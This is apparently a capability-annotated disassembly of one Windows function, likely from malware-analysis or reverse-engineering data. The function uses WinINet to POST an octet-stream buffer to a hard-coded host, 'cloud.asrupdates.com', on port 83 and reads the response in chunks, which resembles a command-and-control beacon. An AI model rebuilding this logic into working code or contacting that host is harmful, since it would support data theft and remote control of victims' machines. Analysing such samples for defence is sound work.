Function at 0x4019c3
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push 0x74
mov eax, 0x4afc25
call fcn.0048bcda
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x74], eax
mov ebx, ecx
mov dword [ebp - 0x80], esi
push eax
call fcn.00404341
mov dword [ebp - 4], esi
xor eax, eax
inc eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x54]
call fcn.0040387f
mov byte [ebp - 4], 2
mov dword [ebp - 0x6c], esi
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x10]
sub edx, eax
sar edx, 2
mov ecx, dword [ebp - 0x6c]
cmp ecx, edx
jae 0x401a77
lea eax, [eax + ecx*4]
push eax
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x54]
call fcn.00403ba1
pop ecx
pop ecx
mov byte [ebp - 4], 3
lea edi, [ebp - 0x54]
call fcn.00403933
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.00403910
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
sar eax, 2
dec eax
cmp dword [ebp - 0x6c], eax
jae 0x401a72
push 0x4c2cf4
lea eax, [ebp - 0x64]
push eax
mov ecx, edi
call fcn.00403bf4
pop ecx
pop ecx
mov byte [ebp - 4], 4
call fcn.00403933
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x64]
call fcn.00403910
inc dword [ebp - 0x6c]
jmp 0x401a00
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040ecf4
pop ecx
pop ecx
mov byte [ebp - 4], 5
lea edi, [ebp - 0x54]
call fcn.00403933
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.00403910
mov eax, dword [ebp - 0x54]
mov eax, dword [eax - 0xc]
lea edi, [eax + 4]
lea ebx, [ebp - 0x5c]
call fcn.00404101
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x54]
mov edx, dword [eax - 0xc]
mov dword [ebp - 0x50], esi
or dword [ebp - 0x50], 0xffffffff
lea edi, [ebp - 0x50]
call fcn.00435730
not dword [ebp - 0x50]
mov edi, dword [ebp - 0x5c]
mov eax, dword [edi]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
push dword [eax - 0xc]
push eax
mov eax, dword [edi]
add eax, 4
push eax
call fcn.0048a010
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00403e95
mov byte [ebp - 4], 7
push esi
push esi
push esi
push 1
push 0x4c2cb8
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 8
cmp eax, esi
je 0x401cec
push esi
push esi
push 3
push esi
push esi
push 0x53
mov ecx, str.cloud.asrupdates.com
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 9
cmp eax, esi
je 0x401cc5
push esi
push 0x8400f200
push esi
push esi
push esi
mov ecx, str._cloud
push ecx
push 0x4c2cf8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0xa
cmp ebx, esi
je 0x401c9e
push str.Content_Type:_application_octet_stream
lea ecx, [ebp - 0x78]
call fcn.004038cb
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax - 0xc]
push 0xa0000000
push ecx
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov eax, dword [edi + 4]
mov edi, dword [edi]
push eax
push edi
push 0xffffffffffffffff
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x401c7d
mov dword [ebp - 0x68], ebx
push 0x13
lea esi, [ebp - 0x68]
call fcn.0040dbc6
pop ecx
cmp eax, 0xc8
jne 0x401c75
mov dword [ebp - 0x70], ebx
push 5
lea esi, [ebp - 0x70]
call fcn.0040dbc6
pop ecx
mov dword [ebp - 0x68], eax
xor ebx, ebx
cmp eax, ebx
jle 0x401c66
xor edi, edi
mov dword [ebp - 0x7c], edi
mov esi, 0x1000
mov dword [ebp - 0x58], esi
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00403ecc
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00404074
push eax
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c35
cmp dword [ebp - 0x58], ebx
je 0x401c35
push dword [ebp - 0x58]
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00404074
push eax
lea eax, [ebp - 0x30]
call fcn.00403f22
add edi, dword [ebp - 0x58]
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x58], esi
jmp 0x401bf2
cmp edi, dword [ebp - 0x68]
je 0x401c53
push edi
push dword [ebp - 0x68]
push str.Read_data_mismatch____i___i_n
call fcn.00487c9f
add esp, 0xc
lea eax, [ebp - 0x30]
call fcn.00403fbc
mov byte [ebp - 4], 0xb
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040505d
xor esi, esi
jmp 0x401c90
push eax
push str.Content_length_error____i_n
call fcn.00487c9f
xor esi, esi
jmp 0x401c8e
push eax
push str.Status_code_error____i_n
jmp 0x401c6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpSendRequest_error____i_n
call fcn.00487c9f
pop ecx
pop ecx
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x78]
call fcn.00403910
jmp 0x401cb1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpOpenRequest_error____i_n
call fcn.00487c9f
pop ecx
pop ecx
mov byte [ebp - 4], 9
cmp dword [ebp - 0x50], esi
je 0x401cd8
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401cd8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetConnect_error____i_n
call fcn.00487c9f
pop ecx
pop ecx
mov byte [ebp - 4], 8
cmp dword [ebp - 0x60], esi
je 0x401cff
push dword [ebp - 0x60]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401cff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpen_error____i_n
call fcn.00487c9f
pop ecx
pop ecx
cmp dword [ebp - 0x1c], esi
je 0x401da0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x401d14
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x50]
call fcn.004038cb
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.0040ecf4
pop ecx
pop ecx
mov byte [ebp - 4], 0xe
lea edi, [ebp - 0x50]
call fcn.00403933
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x70]
call fcn.00403910
mov edi, 0x4c2cf4
push edi
lea ecx, [ebp - 0x60]
call fcn.004038cb
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x60]
push eax
push edi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00428610
add esp, 0x10
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x74]
call fcn.004043a3
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x48]
push eax
call fcn.00404379
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x60]
call fcn.00403910
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x50]
call fcn.00403910
mov byte [ebp - 4], 7
cmp dword [ebp - 0x64], esi
je 0x401db2
push dword [ebp - 0x64]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 4], 6
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.0040505d
mov byte [ebp - 4], 2
lea ebx, [ebp - 0x5c]
call fcn.00404146
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x54]
call fcn.00403910
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x74]
call fcn.0048bd36
ret